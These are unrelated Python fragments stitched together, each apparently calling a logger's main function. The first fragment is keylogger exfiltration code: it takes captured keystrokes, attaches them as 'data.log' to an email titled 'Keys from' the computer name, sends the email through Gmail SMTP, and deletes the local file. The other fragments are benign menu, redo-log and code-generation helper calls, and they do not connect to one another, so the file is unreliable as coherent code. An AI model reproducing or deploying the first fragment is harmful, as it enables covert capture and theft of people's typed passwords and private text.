def send_email(): # Setting up MIME message = MIMEMultipart() message['From'] = environ['EMAIL_FROM'] message['To'] = environ['EMAIL_TO'] password = environ['PASSWORD'] message['Subject'] = f'Keys from {environ["COMPUTERNAME"]}' # Setting up message message.attach( MIMEText(f'{message["Subject"]} are located in this file: ', 'plain')) payload = MIMEBase('application', 'octate-stream') payload.set_payload(logger.get_keys_rb()) encoders.encode_base64(payload) payload.add_header('Content-Decomposition', 'attachment', filename='data.log') message.attach(payload) # Send email server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.ehlo() server.login(message['From'], password) remove('data.log') msg = message.as_string() server.sendmail(message['From'], message['To'], msg) server.quit() logger.main()
def main(): while True: orden = raw_input('¿Que quieres hacer?: ') if orden == 's': show_stats() elif orden == 'l': logg.main() elif orden == 't': pass elif orden == 'e': return False
def main_redo_log(redo_flavour, targets): import state, logger targets = state.fix_chdir(targets) return logger.main(targets, toplevel=True)
def run_logger(): """Start the logger.""" logger.main()
step.main() # helper # file classes file.main() script_file.main() #template_file.main() templates.main() configuration_file.main() context_dict.main() logger.main() forms.main() # helper classes ''' helper_declare_upsert_format.main() #helper_fields_format.main() #helper_insert_columns_format.main() #helper_insert_values_format.main() helper_required.main() helper_required_insert_attributes_format.main() helper_required_insert_format.main() helper_required_update_format.main() # dep helper_script_generate.main() helper_set_clause_format.main()